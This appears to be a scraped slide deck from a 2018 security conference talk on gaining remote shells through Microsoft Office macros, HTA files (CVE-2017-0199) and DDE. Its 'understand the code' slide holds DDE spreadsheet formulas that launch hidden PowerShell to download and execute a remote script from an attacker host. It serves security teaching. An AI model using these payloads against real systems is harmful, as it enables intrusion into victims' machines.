Getting a Shell Through MS Office
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The document discusses different methods for getting remote access to systems through Microsoft Office applications, including macros, HTML Applications (HTA), and Dynamic Data Exchange (DDE). Macros can contain malicious scripts that execute when enabled. HTA files use HTML, scripts, and ActiveX to run malicious payloads. DDE sends messages and shares data between applications in real-time, which can be abused. Tools like Kali Linux, Metasploit, Empire, and FatRat can generate payloads that exploit these Office features to retrieve remote shells. The presentation demonstrates these techniques and stresses the importance of security best practices like antivirus and strong, unique passwords.
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Getting a Shell Through MS Office
- 1. GETTING A SHELL THROUGH MS OFFICE Velayutham Selvaraj , Msc Digital Forensics & Cyber Crime Analysis CYBER PHOENIX CONCLAVE 2K18INFORMATION SECURITY CONFERENCE 1
- 2. $ ECHO BRAG CEO of TwinTech Solutions Pvt Ltd Co-Founder Of Talented Pentesters Hut Certified CEH ECSA LPT CHFI etc List goes on Trained 1000’s of Individuals working in Top Mnc like Infosys, TCS etc FreeLancer Techincal Author at GB Hackers Cyber Forensic Researcher ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 2
- 3. MACROS HTA DDE ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 3
- 4. MACROS • Microsoft Office documents — Word, Excel, PowerPoint, and other types of documents — can contain embedded code written in a programming language known as Visual Basic for Applications • Macros can be embedded with malicious scripts to execute once enabled • Still Widely used and some of the more prominent threats at the time ran forms of malware such as DRIDEX, ROVNIX and VAWTRA ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 4
- 5. ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 5
- 6. HTA • An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more scripting languages CVE-2017-0199 HTA Handler Vulnerability • OLE (Object Linking and Embedding) is Microsoft's framework for a compound document technology. • Briefly, a compound document is something like a display desktop that can contain visual and information objects of all kinds: text, calendars, animations, sound, motion video, 3-D, continually updated news, controls, and so forth. • Part of Microsoft's ActiveX technologies, OLE takes advantage and is part of a larger, more general concept, the Component Object Model (COM) and its distributed version, DCOM. ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 6
- 7. ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 7
- 8. DDE Dynamic Data Exchange sends messages between applications that share data and uses shared memory to exchange data between applications. Applications can use the DDE protocol for one-time data transfers and for continuous exchanges in which applications send updates to one another as new data becomes available. ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 8
- 9. REAL TIME USES Linking to real-time data, such as to stock market updates, Inventory management , or process control. 01 Creating compound documents, such as a word processing document that includes a chart produced by a graphics application. 02 Using DDE, the chart will change when the source data is changed, while the rest of the document remains the same. 03 Performing data queries between applications, such as a spreadsheet querying a database for accounts past due. 04 ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 9
- 10. TOOLS REQUIRED KALI LINUX OR METASPLOIT OR EMPIRE FATRAT MICROSOFT OFFICE (ANY VERSION) MICROSOFT WINDOWS BASIC KNOWLEDGE ABOUT NETWORKING AND PORTFORWARDING ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 10
- 11. UNDERSTAND THE CODE • =cmd|'/c calc.exe'!_xlbgnm.A1 • =cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://192.168.0.8/cyberconclave.ps1");IE X $e'!_xlbgnm.A1 • =MSEXCEL|'......WindowsSystem32cmd.exe /c powershell.exe -nop -w 1 $e=(New-Object System.Net.WebClient).DownloadString("http://192.168.0.8/hello.ps1"); IEX $e'!_xlbgnm.A1 ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 11
- 12. ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 12
- 13. DEMO TIME ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 13
- 14. ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 14
- 15. HOW TO BE SAFE Buy a good antivirus, you never leave your door open. Do the same for your computers, laptops & smart phones Never keep the same passwords Change your passwords regularly Use lastpass to store your passwords Use veracrypt to encrypt sensitive information There is no 100% Security nor 100% Anonymity Last but not least is common sense ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 15
- 16. THANK YOU LETS MAKE A RESPONSIBLE AND SAFE CYBER WORLD 1 HEED TO ADVICES OF YOUR FELLOW MEN 2 RESPECT EVERYONE AND SPREAD LOVE WITHIN THE COMMUNITY 3 ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 16
- 17. FEEL FREE TO CONTACT ME ANYTIME • VELAYUTHAM@TWINTECHSOLUTIONS.IN • FB.COM/LAWWAY09 • 9677034266 ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 17
- 18. SOURCED FROM • http://searchwindowsserver.techtarget.com/definition/OLE-Object-Linking-and- Embedding • https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler- vulnerability/ • https://msdn.microsoft.com/en- us/library/windows/desktop/ms648774(v=vs.85).aspx • https://www.harmj0y.net/blog/empyre/os-x-office-macros-with-empyre/ • https://github.com/Screetsec/TheFatRat • https://www.kali.org/downloads/ ALL THE CONTENTS ARE SOURCED AND BELONG TO RESPECTIVE AUTHORS 18
Notes de l'éditeur
- There’s a great 2011 StackOverflow post that describes how to use the system() call exposed from libc in order to execute shell commands from VBA macro scripts.